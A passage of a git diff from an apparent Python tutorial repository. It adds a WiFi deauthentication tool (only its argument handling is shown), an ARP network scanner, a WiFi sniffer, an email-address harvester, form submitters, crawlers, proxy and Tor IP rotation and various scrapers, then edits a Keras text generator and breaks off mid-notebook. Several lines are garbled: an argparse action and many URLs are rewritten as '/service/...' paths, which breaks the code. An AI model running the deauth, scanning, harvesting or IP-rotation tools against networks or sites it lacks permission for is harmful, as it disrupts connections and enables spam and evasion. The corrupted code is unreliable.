parser.add_argument("-i", dest="iface", help="Interface to use, must be in monitor mode, default is 'wlan0mon'", default="wlan0mon") + parser.add_argument("-v", "--verbose", help="wether to print messages", action="https://github.com/store_true") + + args = parser.parse_args() + target = args.target + gateway = args.gateway + count = int(args.count) + interval = float(args.interval) + iface = args.iface + verbose = args.verbose + + if count == 0: + # if count is 0, it means we loop forever (until interrupt) + loop = 1 + count = None + else: + loop = 0 + + # printing some info messages" + if verbose: + if count: + print(f"[+] Sending {count} frames every {interval}s...") + else: + print(f"[+] Sending frames every {interval}s for ever...") + + deauth(target, gateway, interval, count, loop, iface, verbose) + + + + +from scapy.all import ARP, Ether, srp + +target_ip = "192.168.1.1/24" +# IP Address for the destination +# create ARP packet +arp = ARP(pdst=target_ip) +# create the Ether broadcast packet +# ff:ff:ff:ff:ff:ff MAC address indicates broadcasting +ether = Ether(dst="ff:ff:ff:ff:ff:ff") +# stack them +packet = ether/arp + +result = srp(packet, timeout=3, verbose=0)[0] + +# a list of clients, we will fill this in the upcoming loop +clients = [] + +for sent, received in result: + # for each response, append ip and mac address to clients list + clients.append({'ip': received.psrc, 'mac': received.hwsrc}) + +# print clients +print("Available devices in the network:") +print("IP" + " "*18+"MAC") +for client in clients: + print("{:16} {}".format(client['ip'], client['mac'])) + + + + +from scapy.all import * +from threading import Thread +import pandas +import time +import os +import sys + + +# initialize the networks dataframe that will contain all access points nearby +networks = pandas.DataFrame(columns=["BSSID", "SSID", "dBm_Signal", "Channel", "Crypto"]) +# set the index BSSID (MAC address of the AP) +networks.set_index("BSSID", inplace=True) + +def callback(packet): + if packet.haslayer(Dot11Beacon): + # extract the MAC address of the network + bssid = packet[Dot11].addr2 + # get the name of it + ssid = packet[Dot11Elt].info.decode() + try: + dbm_signal = packet.dBm_AntSignal + except: + dbm_signal = "N/A" + # extract network stats + stats = packet[Dot11Beacon].network_stats() + # get the channel of the AP + channel = stats.get("channel") + # get the crypto + crypto = stats.get("crypto") + networks.loc[bssid] = (ssid, dbm_signal, channel, crypto) + + +def print_all(): + while True: + os.system("clear") + print(networks) + time.sleep(0.5) + + +def change_channel(): + ch = 1 + while True: + os.system(f"iwconfig {interface} channel {ch}") + # switch channel from 1 to 14 each 0.5s + ch = ch % 14 + 1 + time.sleep(0.5) + + +if __name__ == "__main__": + # interface name, check using iwconfig + interface = sys.argv[1] + # start the thread that prints all the networks + printer = Thread(target=print_all) + printer.daemon = True + printer.start() + # start the channel changer + channel_changer = Thread(target=change_channel) + channel_changer.daemon = True + channel_changer.start() + # start sniffing + sniff(prn=callback, iface=interface) + + + + +import requests +import os +from tqdm import tqdm +from bs4 import BeautifulSoup as bs +from urllib.parse import urljoin, urlparse + + +def is_valid(url): + """ + Checks whether url is a valid URL. + """ + parsed = urlparse(url) + return bool(parsed.netloc) and bool(parsed.scheme) + + +def get_all_images(url): + """ + Returns all image URLs on a single url + """ + soup = bs(requests.get(url).content, "html.parser") + urls = [] + for img in tqdm(soup.find_all("img"), "Extracting images"): + img_url = img.attrs.get("src") + if not img_url: + # if img does not contain src attribute, just skip + continue + # make the URL absolute by joining domain with the URL that is just extracted + img_url = urljoin(url, img_url) + # remove URLs like '/hsts-pixel.gif?c=3.2.5' + try: + pos = img_url.index("?") + img_url = img_url[:pos] + except ValueError: + pass + # finally, if the url is valid + if is_valid(img_url): + urls.append(img_url) + return urls + + +def download(url, pathname): + """ + Downloads a file given an URL and puts it in the folder pathname + """ + # if path doesn't exist, make that path dir + if not os.path.isdir(pathname): + os.makedirs(pathname) + # download the body of response by chunk, not immediately + response = requests.get(url, stream=True) + + # get the total file size + file_size = int(response.headers.get("Content-Length", 0)) + + # get the file name + filename = os.path.join(pathname, url.split("/")[-1]) + + # progress bar, changing the unit to bytes instead of iteration (default by tqdm) + progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) + with open(filename, "wb") as f: + for data in progress: + # write data read to the file + f.write(data) + # update the progress bar manually + progress.update(len(data)) + + +def main(url, path): + # get all images + imgs = get_all_images(url) + for img in imgs: + # for each img, download it + download(img, path) + + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="This script downloads all images from a web page") + parser.add_argument("url", help="The URL of the web page you want to download images") + parser.add_argument("-p", "--path", help="The Directory you want to store your images, default is the domain of URL passed") + + args = parser.parse_args() + url = args.url + path = args.path + + if not path: + # if path isn't specified, use the domain name of that url as the folder name + path = urlparse(url).netloc + + main(url, path) + + + + +from requests_html import HTMLSession +import requests +from tqdm import tqdm +from bs4 import BeautifulSoup as bs +from urllib.parse import urljoin, urlparse + +import os + + +def is_valid(url): + """ + Checks whether url is a valid URL. + """ + parsed = urlparse(url) + return bool(parsed.netloc) and bool(parsed.scheme) + + +def get_all_images(url): + """ + Returns all image URLs on a single url + """ + # initialize the session + session = HTMLSession() + # make the HTTP request and retrieve response + response = session.get(url) + # execute Javascript + response.html.render() + # construct the soup parser + soup = bs(response.html.html, "html.parser") + urls = [] + for img in tqdm(soup.find_all("img"), "Extracting images"): + img_url = img.attrs.get("src") or img.attrs.get("data-src") + if not img_url: + # if img does not contain src attribute, just skip + continue + # make the URL absolute by joining domain with the URL that is just extracted + img_url = urljoin(url, img_url) + # remove URLs like '/hsts-pixel.gif?c=3.2.5' + try: + pos = img_url.index("?") + img_url = img_url[:pos] + except ValueError: + pass + # finally, if the url is valid + if is_valid(img_url): + urls.append(img_url) + return urls + + +def download(url, pathname): + """ + Downloads a file given an URL and puts it in the folder pathname + """ + # if path doesn't exist, make that path dir + if not os.path.isdir(pathname): + os.makedirs(pathname) + # download the body of response by chunk, not immediately + response = requests.get(url, stream=True) + + # get the total file size + file_size = int(response.headers.get("Content-Length", 0)) + + # get the file name + filename = os.path.join(pathname, url.split("/")[-1]) + + # progress bar, changing the unit to bytes instead of iteration (default by tqdm) + progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) + with open(filename, "wb") as f: + for data in progress: + # write data read to the file + f.write(data) + # update the progress bar manually + progress.update(len(data)) + + +def main(url, path): + # get all images + imgs = get_all_images(url) + for img in imgs: + # for each img, download it + download(img, path) + + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="This script downloads all images from a web page") + parser.add_argument("url", help="The URL of the web page you want to download images") + parser.add_argument("-p", "--path", help="The Directory you want to store your images, default is the domain of URL passed") + + args = parser.parse_args() + url = args.url + path = args.path + + if not path: + # if path isn't specified, use the domain name of that url as the folder name + path = urlparse(url).netloc + + main(url, path) + + + + +import re +from requests_html import HTMLSession +import sys + +url = sys.argv[1] +EMAIL_REGEX = r"""(?:[a-z0-9!#%&'*+/=?^_{|}-]+(?:\.[a-z0-9!#%&'*+/=?^_{|}-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])""" + +# initiate an HTTP session +session = HTMLSession() +# get the HTTP Response +r = session.get(url) +# for JAVA-Script driven websites +r.html.render() +with open(sys.argv[2], "a") as f: + for re_match in re.finditer(EMAIL_REGEX, r.html.raw_html.decode()): + print(re_match.group().strip(), file=f) + + + + +from bs4 import BeautifulSoup +from requests_html import HTMLSession +from pprint import pprint + +# initialize an HTTP session +session = HTMLSession() + + +def get_all_forms(url): + """Returns all form tags found on a web page's url """ + # GET request + res = session.get(url) + # for javascript driven website + # res.html.render() + soup = BeautifulSoup(res.html.html, "html.parser") + return soup.find_all("form") + + +def get_form_details(form): + """Returns the HTML details of a form, + including action, method and list of form controls (inputs, etc)""" + details = {} + # get the form action (requested URL) + action = form.attrs.get("action").lower() + # get the form method (POST, GET, DELETE, etc) + # if not specified, GET is the default in HTML + method = form.attrs.get("method", "get").lower() + # get all form inputs + inputs = [] + for input_tag in form.find_all("input"): + # get type of input form control + input_type = input_tag.attrs.get("type", "text") + # get name attribute + input_name = input_tag.attrs.get("name") + # get the default value of that input tag + input_value =input_tag.attrs.get("value", "") + # add everything to that list + inputs.append({"type": input_type, "name": input_name, "value": input_value}) + # put everything to the resulting dictionary + details["action"] = action + details["method"] = method + details["inputs"] = inputs + return details + + +if __name__ == "__main__": + import sys + # get URL from the command line + url = sys.argv[1] + # get all form tags + forms = get_all_forms(url) + # iteratte over forms + for i, form in enumerate(forms, start=1): + form_details = get_form_details(form) + print("="*50, f"form #{i}", "="*50) + pprint(form_details) + + + + +from bs4 import BeautifulSoup +from requests_html import HTMLSession + +from pprint import pprint +from urllib.parse import urljoin +import webbrowser +import sys + +from form_extractor import get_all_forms, get_form_details, session + +# get the URL from the command line +url = sys.argv[1] +# get the first form (edit this as you wish) +first_form = get_all_forms(url)[0] +# extract all form details +form_details = get_form_details(first_form) +pprint(form_details) +# the data body we want to submit +data = {} +for input_tag in form_details["inputs"]: + if input_tag["type"] == "hidden": + # if it's hidden, use the default value + data[input_tag["name"]] = input_tag["value"] + elif input_tag["type"] != "submit": + # all others except submit, prompt the user to set it + value = input(f"Enter the value of the field '{input_tag['name']}' (type: {input_tag['type']}): ") + data[input_tag["name"]] = value + +# join the url with the action (form request URL) +url = urljoin(url, form_details["action"]) + +if form_details["method"] == "post": + res = session.post(url, data=data) +elif form_details["method"] == "get": + res = session.get(url, params=data) + +# the below code is only for replacing relative URLs to absolute ones +soup = BeautifulSoup(res.content, "html.parser") +for link in soup.find_all("link"): + try: + link.attrs["href"] = urljoin(url, link.attrs["href"]) + except: + pass +for script in soup.find_all("script"): + try: + script.attrs["src"] = urljoin(url, script.attrs["src"]) + except: + pass +for img in soup.find_all("img"): + try: + img.attrs["src"] = urljoin(url, img.attrs["src"]) + except: + pass +for a in soup.find_all("a"): + try: + a.attrs["href"] = urljoin(url, a.attrs["href"]) + except: + pass + +# write the page content to a file +open("page.html", "w").write(str(soup)) +# open the page on the default browser +webbrowser.open("page.html") + + + + +import requests +import pandas as pd +from bs4 import BeautifulSoup as bs + +USER_AGENT = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" +# US english +LANGUAGE = "en-US,enq=0.5" + +def get_soup(url): + """Constructs and returns a soup using the HTML content of url passed""" + # initialize a session + session = requests.Session() + # set the User-Agent as a regular browser + session.headers['User-Agent'] = USER_AGENT + # request for english content (optional) + session.headers['Accept-Language'] = LANGUAGE + session.headers['Content-Language'] = LANGUAGE + # make the request + html = session.get(url) + # return the soup + return bs(html.content, "html.parser") + + +def get_all_tables(soup): + """Extracts and returns all tables in a soup object""" + return soup.find_all("table") + + +def get_table_headers(table): + """Given a table soup, returns all the headers""" + headers = [] + for th in table.find("tr").find_all("th"): + headers.append(th.text.strip()) + return headers + + +def get_table_rows(table): + """Given a table, returns all its rows""" + rows = [] + for tr in table.find_all("tr")[1:]: + cells = [] + # grab all td tags in this table row + tds = tr.find_all("td") + if len(tds) == 0: + # if no td tags, search for th tags + # can be found especially in wikipedia tables below the table + ths = tr.find_all("th") + for th in ths: + cells.append(th.text.strip()) + else: + # use regular td tags + for td in tds: + cells.append(td.text.strip()) + rows.append(cells) + return rows + + +def save_as_csv(table_name, headers, rows): + pd.DataFrame(rows, columns=headers).to_csv(f"{table_name}.csv") + + +def main(url): + # get the soup + soup = get_soup(url) + # extract all the tables from the web page + tables = get_all_tables(soup) + print(f"[+] Found a total of {len(tables)} tables.") + # iterate over all tables + for i, table in enumerate(tables, start=1): + # get the table headers + headers = get_table_headers(table) + # get all the rows of the table + rows = get_table_rows(table) + # save table as csv file + table_name = f"table-{i}" + print(f"[+] Saving {table_name}") + save_as_csv(table_name, headers, rows) + + +if __name__ == "__main__": + import sys + try: + url = sys.argv[1] + except IndexError: + print("Please specify a URL.\nUsage: python html_table_extractor.py [URL]") + exit(1) + main(url) + + + + +import requests +from urllib.parse import urlparse, urljoin +from bs4 import BeautifulSoup +import colorama + +# init the colorama module +colorama.init() + +GREEN = colorama.Fore.GREEN +GRAY = colorama.Fore.LIGHTBLACK_EX +RESET = colorama.Fore.RESET + +# initialize the set of links (unique links) +internal_urls = set() +external_urls = set() + +total_urls_visited = 0 + + +def is_valid(url): + """ + Checks whether url is a valid URL. + """ + parsed = urlparse(url) + return bool(parsed.netloc) and bool(parsed.scheme) + + +def get_all_website_links(url): + """ + Returns all URLs that is found on url in which it belongs to the same website + """ + # all URLs of url + urls = set() + # domain name of the URL without the protocol + domain_name = urlparse(url).netloc + soup = BeautifulSoup(requests.get(url).content, "html.parser") + for a_tag in soup.findAll("a"): + href = a_tag.attrs.get("href") + if href == "" or href is None: + # href empty tag + continue + # join the URL if it's relative (not absolute link) + href = urljoin(url, href) + parsed_href = urlparse(href) + # remove URL GET parameters, URL fragments, etc. + href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path + if not is_valid(href): + # not a valid URL + continue + if href in internal_urls: + # already in the set + continue + if domain_name not in href: + # external link + if href not in external_urls: + print(f"{GRAY}[!] External link: {href}{RESET}") + external_urls.add(href) + continue + print(f"{GREEN}[*] Internal link: {href}{RESET}") + urls.add(href) + internal_urls.add(href) + return urls + + +def crawl(url, max_urls=50): + """ + Crawls a web page and extracts all links. + You'll find all links in external_urls and internal_urls global set variables. + params: + max_urls (int): number of max urls to crawl, default is 30. + """ + global total_urls_visited + total_urls_visited += 1 + links = get_all_website_links(url) + for link in links: + if total_urls_visited > max_urls: + break + crawl(link, max_urls=max_urls) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Link Extractor Tool with Python") + parser.add_argument("url", help="The URL to extract links from.") + parser.add_argument("-m", "--max-urls", help="Number of max URLs to crawl, default is 30.", default=30, type=int) + + args = parser.parse_args() + url = args.url + max_urls = args.max_urls + + crawl(url, max_urls=max_urls) + + print("[+] Total Internal links:", len(internal_urls)) + print("[+] Total External links:", len(external_urls)) + print("[+] Total URLs:", len(external_urls) + len(internal_urls)) + + domain_name = urlparse(url).netloc + + # save the internal links to a file + with open(f"{domain_name}_internal_links.txt", "w") as f: + for internal_link in internal_urls: + print(internal_link.strip(), file=f) + + # save the external links to a file + with open(f"{domain_name}_external_links.txt", "w") as f: + for external_link in external_urls: + print(external_link.strip(), file=f) + + + + +import requests +import random +from bs4 import BeautifulSoup as bs + +def get_free_proxies(): + url = "https://free-proxy-list.net/" + # get the HTTP response and construct soup object + soup = bs(requests.get(url).content, "html.parser") + proxies = [] + for row in soup.find("table", attrs={"id": "proxylisttable"}).find_all("tr")[1:]: + tds = row.find_all("td") + try: + ip = tds[0].text.strip() + port = tds[1].text.strip() + host = f"{ip}:{port}" + proxies.append(host) + except IndexError: + continue + return proxies + + +def get_session(proxies): + # construct an HTTP session + session = requests.Session() + # choose one random proxy + proxy = random.choice(proxies) + session.proxies = {"http": proxy, "https": proxy} + return session + + +if __name__ == "__main__": + # proxies = get_free_proxies() + proxies = [ + '167.172.248.53:3128', + '194.226.34.132:5555', + '203.202.245.62:80', + '141.0.70.211:8080', + '118.69.50.155:80', + '201.55.164.177:3128', + '51.15.166.107:3128', + '91.205.218.64:80', + '128.199.237.57:8080', + ] + for i in range(5): + s = get_session(proxies) + try: + print("Request page with IP:", s.get("http://icanhazip.com/", timeout=1.5).text.strip()) + except Exception as e: + continue + + + + +import requests +from stem.control import Controller +from stem import Signal + +def get_tor_session(): + # initialize a requests Session + session = requests.Session() + # setting the proxy of both http & https to the localhost:9050 + # (Tor service must be installed and started in your machine) + session.proxies = {"http": "socks5://localhost:9050", "https": "socks5://localhost:9050"} + return session + +def renew_connection(): + with Controller.from_port(port=9051) as c: + c.authenticate() + # send NEWNYM signal to establish a new clean connection through the Tor network + c.signal(Signal.NEWNYM) + + +if __name__ == "__main__": + s = get_tor_session() + ip = s.get("http://icanhazip.com/").text + print("IP:", ip) + renew_connection() + s = get_tor_session() + ip = s.get("http://icanhazip.com/").text + print("IP:", ip) + + + + +import requests + + +def get_tor_session(): + # initialize a requests Session + session = requests.Session() + # this requires a running Tor service in your machine and listening on port 9050 (by default) + session.proxies = {"http": "socks5://localhost:9050", "https": "socks5://localhost:9050"} + return session + + +if __name__ == "__main__": + s = get_tor_session() + ip = s.get("http://icanhazip.com/").text + print("IP:", ip) + + + + +import requests + +url = "http://icanhazip.com/" +proxy_host = "proxy.crawlera.com" +proxy_port = "8010" +proxy_auth = ":" +proxies = { + "https": f"https://{proxy_auth}{proxy_host}:{proxy_port}/", + "http": f"http://{proxy_auth}{proxy_host}:{proxy_port}/" +} + +r = requests.get(url, proxies=proxies, verify=False) + + + + +from bs4 import BeautifulSoup as bs +import requests + +USER_AGENT = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" +# US english +LANGUAGE = "en-US,enq=0.5" + +def get_weather_data(url): + session = requests.Session() + session.headers['User-Agent'] = USER_AGENT + session.headers['Accept-Language'] = LANGUAGE + session.headers['Content-Language'] = LANGUAGE + html = session.get(url) + # create a new soup + soup = bs(html.text, "html.parser") + # store all results on this dictionary + result = {} + # extract region + result['region'] = soup.find("div", attrs={"id": "wob_loc"}).text + # extract temperature now + result['temp_now'] = soup.find("span", attrs={"id": "wob_tm"}).text + # get the day and hour now + result['dayhour'] = soup.find("div", attrs={"id": "wob_dts"}).text + # get the actual weather + result['weather_now'] = soup.find("span", attrs={"id": "wob_dc"}).text + # get the precipitation + result['precipitation'] = soup.find("span", attrs={"id": "wob_pp"}).text + # get the % of humidity + result['humidity'] = soup.find("span", attrs={"id": "wob_hm"}).text + # extract the wind + result['wind'] = soup.find("span", attrs={"id": "wob_ws"}).text + # get next few days' weather + next_days = [] + days = soup.find("div", attrs={"id": "wob_dp"}) + for day in days.findAll("div", attrs={"class": "wob_df"}): + # extract the name of the day + day_name = day.find("div", attrs={"class": "vk_lgy"}).attrs['aria-label'] + # get weather status for that day + weather = day.find("img").attrs["alt"] + temp = day.findAll("span", {"class": "wob_t"}) + # maximum temparature in Celsius, use temp[1].text if you want fahrenheit + max_temp = temp[0].text + # minimum temparature in Celsius, use temp[3].text if you want fahrenheit + min_temp = temp[2].text + next_days.append({"name": day_name, "weather": weather, "max_temp": max_temp, "min_temp": min_temp}) + # append to result + result['next_days'] = next_days + return result + + +if __name__ == "__main__": + URL = "https://www.google.com/search?lr=lang_en&ie=UTF-8&q=weather" + import argparse + parser = argparse.ArgumentParser(description="Quick Script for Extracting Weather data using Google Weather") + parser.add_argument("region", nargs="?", help="""Region to get weather for, must be available region. + Default is your current location determined by your IP Address""", default="") + # parse arguments + args = parser.parse_args() + region = args.region + URL += region + # get data + data = get_weather_data(URL) + # print data + print("Weather for:", data["region"]) + print("Now:", data["dayhour"]) + print(f"Temperature now: {data['temp_now']}C") + print("Description:", data['weather_now']) + print("Precipitation:", data["precipitation"]) + print("Humidity:", data["humidity"]) + print("Wind:", data["wind"]) + print("Next days:") + for dayweather in data["next_days"]: + print("="*40, dayweather["name"], "="*40) + print("Description:", dayweather["weather"]) + print(f"Max temperature: {dayweather['max_temp']}C") + print(f"Min temperature: {dayweather['min_temp']}C") + + + + +import requests +from bs4 import BeautifulSoup as bs +from urllib.parse import urljoin + +import sys + +# URL of the web page you want to extract +url = sys.argv[1] + +# initialize a session +session = requests.Session() +# set the User-agent as a regular browser +session.headers["User-Agent"] = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" + +# get the HTML content +html = session.get(url).content + +# parse HTML using beautiful soup +soup = bs(html, "html.parser") + +# get the JavaScript files +script_files = [] + +for script in soup.find_all("script"): + if script.attrs.get("src"): + # if the tag has the attribute 'src' + script_url = urljoin(url, script.attrs.get("src")) + script_files.append(script_url) + +# get the CSS files +css_files = [] + +for css in soup.find_all("link"): + if css.attrs.get("href"): + # if the link tag has the 'href' attribute + css_url = urljoin(url, css.attrs.get("href")) + css_files.append(css_url) + + +print("Total script files in the page:", len(script_files)) +print("Total CSS files in the page:", len(css_files)) + +# write file links into files +with open("javascript_files.txt", "w") as f: + for js_file in script_files: + print(js_file, file=f) + +with open("css_files.txt", "w") as f: + for css_file in css_files: + print(css_file, file=f) + + + + +import wikipedia + +# print the summary of what python is +print(wikipedia.summary("Python Programming Language")) + +# search for a term +result = wikipedia.search("Neural networks") +print("Result search of 'Neural networks':", result) + +# get the page: Neural network +page = wikipedia.page(result[0]) + +# get the title of the page +title = page.title + +# get the categories of the page +categories = page.categories + +# get the whole wikipedia page text (content) +content = page.content + +# get all the links in the page +links = page.links + +# get the page references +references = page.references + +# summary +summary = page.summary + +# print info +print("Page content:\n", content, "\n") +print("Page title:", title, "\n") +print("Categories:", categories, "\n") +print("Links:", links, "\n") +print("References:", references, "\n") +print("Summary:", summary, "\n") + + + + +import requests +from bs4 import BeautifulSoup as bs + + +def get_video_info(url): + # download HTML code + content = requests.get(url) + # create beautiful soup object to parse HTML + soup = bs(content.content, "html.parser") + # initialize the result + result = {} + # video title + result['title'] = soup.find("span", attrs={"class": "watch-title"}).text.strip() + # video views (converted to integer) + result['views'] = int(soup.find("div", attrs={"class": "watch-view-count"}).text[:-6].replace(",", "")) + # video description + result['description'] = soup.find("p", attrs={"id": "eow-description"}).text + # date published + result['date_published'] = soup.find("strong", attrs={"class": "watch-time-text"}).text + # number of likes as integer + result['likes'] = int(soup.find("button", attrs={"title": "I like this"}).text.replace(",", "")) + # number of dislikes as integer + result['dislikes'] = int(soup.find("button", attrs={"title": "I dislike this"}).text.replace(",", "")) + # channel details + channel_tag = soup.find("div", attrs={"class": "yt-user-info"}).find("a") + # channel name + channel_name = channel_tag.text + # channel URL + channel_url = f"https://www.youtube.com{channel_tag['href']}" + # number of subscribers as str + channel_subscribers = soup.find("span", attrs={"class": "yt-subscriber-count"}).text.strip() + result['channel'] = {'name': channel_name, 'url': channel_url, 'subscribers': channel_subscribers} + return result + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="YouTube Video Data Extractor") + parser.add_argument("url", help="URL of the YouTube video") + + args = parser.parse_args() + # parse the video URL from command line + url = args.url + + data = get_video_info(url) + + # print in nice format + print(f"Title: {data['title']}") + print(f"Views: {data['views']}") + print(f"\nDescription: {data['description']}\n") + print(data['date_published']) + print(f"Likes: {data['likes']}") + print(f"Dislikes: {data['dislikes']}") + print(f"\nChannel Name: {data['channel']['name']}") + print(f"Channel URL: {data['channel']['url']}") + print(f"Channel Subscribers: {data['channel']['subscribers']}") \ No newline at end of file diff --git a/machine-learning/nlp/text-generator/generate.py b/machine-learning/nlp/text-generator/generate.py index 0db93fe7..a1ef66fa 100644 --- a/machine-learning/nlp/text-generator/generate.py +++ b/machine-learning/nlp/text-generator/generate.py @@ -1,58 +1,41 @@ import numpy as np import pickle import tqdm -from keras.models import Sequential -from keras.layers import Dense, LSTM, Dropout, Activation -from keras.callbacks import ModelCheckpoint +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, LSTM, Dropout, Activation +import os - - -message = """ -Please choose which model you want to generate text with: -1 - Alice's wonderland -2 - Python Code -""" -choice = int(input(message)) -assert choice == 1 or choice == 2 - -if choice == 1: - char2int = pickle.load(open("data/wonderland-char2int.pickle", "rb")) - int2char = pickle.load(open("data/wonderland-int2char.pickle", "rb")) -elif choice == 2: - char2int = pickle.load(open("data/python-char2int.pickle", "rb")) - int2char = pickle.load(open("data/python-int2char.pickle", "rb")) +sequence_length = 100 +# dataset file path +FILE_PATH = "data/wonderland.txt" +# FILE_PATH = "data/python_code.py" +BASENAME = os.path.basename(FILE_PATH) +# load vocab dictionaries +char2int = pickle.load(open(f"{BASENAME}-char2int.pickle", "rb")) +int2char = pickle.load(open(f"{BASENAME}-int2char.pickle", "rb")) sequence_length = 100 -n_unique_chars = len(char2int) +vocab_size = len(char2int) # building the model model = Sequential([ - LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), + LSTM(256, input_shape=(sequence_length, vocab_size), return_sequences=True), Dropout(0.3), LSTM(256), - Dense(n_unique_chars, activation="softmax"), + Dense(vocab_size, activation="softmax"), ]) -if choice == 1: - model.load_weights("results/wonderland-v2-0.75.h5") -elif choice == 2: - model.load_weights("results/python-v2-0.30.h5") - -seed = "" -print("Enter the seed, enter q to quit, maximum 100 characters:") -while True: - result = input("") - if result.lower() == "q": - break - seed += f"{result}\n" -seed = seed.lower() -n_chars = int(input("Enter number of characters you want to generate: ")) - +# load the optimal weights +model.load_weights(f"results/{BASENAME}-{sequence_length}.h5") +# specify the feed to first characters to generate +seed = "alice is pretty" +s = seed +n_chars = 400 # generate 400 characters generated = "" for i in tqdm.tqdm(range(n_chars), "Generating text"): # make the input sequence - X = np.zeros((1, sequence_length, n_unique_chars)) + X = np.zeros((1, sequence_length, vocab_size)) for t, char in enumerate(seed): X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1 # predict the next character @@ -66,5 +49,6 @@ # shift seed and the predicted character seed = seed[1:] + next_char +print("Seed:", s) print("Generated text:") print(generated) \ No newline at end of file diff --git a/machine-learning/nlp/text-generator/requirements.txt b/machine-learning/nlp/text-generator/requirements.txt index bf567bac..2292109e 100644 --- a/machine-learning/nlp/text-generator/requirements.txt +++ b/machine-learning/nlp/text-generator/requirements.txt @@ -1,4 +1,4 @@ numpy -tensorflow==1.15.2 -keras -requests \ No newline at end of file +tensorflow==2.5.3 +requests +tqdm \ No newline at end of file diff --git a/machine-learning/nlp/text-generator/text-generator-v2.ipynb b/machine-learning/nlp/text-generator/text-generator-v2.ipynb new file mode 100644 index 00000000..ee7da190 --- /dev/null +++ b/machine-learning/nlp/text-generator/text-generator-v2.ipynb @@ -0,0 +1,300 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "source": [ + "import tensorflow as tf\r\n", + "import numpy as np\r\n", + "import os\r\n", + "import pickle\r\n", + "\r\n", + "SEQUENCE_LENGTH = 50\r\n", + "EMBEDDING_DIM = 200\r\n", + "BATCH_SIZE = 128\r\n", + "FILE_PATH = \"data/python_code.py\"\r\n", + "BASENAME = os.path.basename(FILE_PATH) + \"-lower\"\r\n", + "\r\n", + "text = open(FILE_PATH).read()\r\n", + "# comment this if you want to use uppercase letters\r\n", + "text = text.lower()\r\n", + "n_chars = len(text)\r\n", + "vocab = ''.join(sorted(set(text)))\r\n", + "print(\"vocab:\", vocab)\r\n", + "n_unique_chars = len(vocab)\r\n", + "print(\"Number of characters:\", n_chars)\r\n", + "print(\"Number of unique characters:\", n_unique_chars)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# dictionary that converts characters to integers\r\n", + "char2int = {c: i for i, c in enumerate(vocab)}\r\n", + "# dictionary that converts integers to characters\r\n", + "int2char = {i: c for i, c in enumerate(vocab)}\r\n", + "\r\n", + "# save these dictionaries for later generation\r\n", + "pickle.dump(char2int, open(f\"{BASENAME}-char2int.pickle\", \"wb\"))\r\n", + "pickle.dump(int2char, open(f\"{BASENAME}-int2char.pickle\", \"wb\"))" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "encoded_text = np.array([char2int[c] for c in text])" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text)\r\n", + "for element in char_dataset.take(5):\r\n", + " print(element.numpy())" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "for element in char_dataset.batch(SEQUENCE_LENGTH+1).shuffle(1024).take(2):\r\n", + " print(''.join([int2char[c] for c in element.numpy()]))" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "#help(tf.one_hot)\r\n", + "#help(char_dataset.window)\r\n", + "windows = char_dataset.window(SEQUENCE_LENGTH+1, shift=1, drop_remainder=True)\r\n", + "sequences = windows.flat_map(lambda window: window.batch(SEQUENCE_LENGTH+1))\r\n", + "dataset = sequences.map(lambda x: (x[:-1], x[-1]))\r\n", + "for input_, target in dataset.take(10):\r\n", + " print(input_.numpy().shape)\r\n", + " print(target.numpy().shape)\r\n", + " print(''.join([int2char[c] for c in input_.numpy()]), int2char[target.numpy()])\r\n", + " print(\"=\"*50)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "sequences2 = char_dataset.batch(2*SEQUENCE_LENGTH+1, drop_remainder=True)\r\n", + "\r\n", + "def split_sample(sample):\r\n", + " ds = tf.data.Dataset.from_tensors((sample[:SEQUENCE_LENGTH], sample[SEQUENCE_LENGTH]))\r\n", + " for i in range(1, (len(sample)-1) // 2):\r\n", + " input_ = sample[i:i+SEQUENCE_LENGTH]\r\n", + " target = sample[i+SEQUENCE_LENGTH]\r\n", + " other_ds = tf.data.Dataset.from_tensors((input_, target))\r\n", + " ds = ds.concatenate(other_ds)\r\n", + " return ds\r\n", + "\r\n", + "\r\n", + "dataset2 = sequences2.flat_map(split_sample)\r\n", + "for element in dataset2.take(10):\r\n", + " print(element[0].shape, element[1].shape)\r\n", + " print(''.join([int2char[c] for 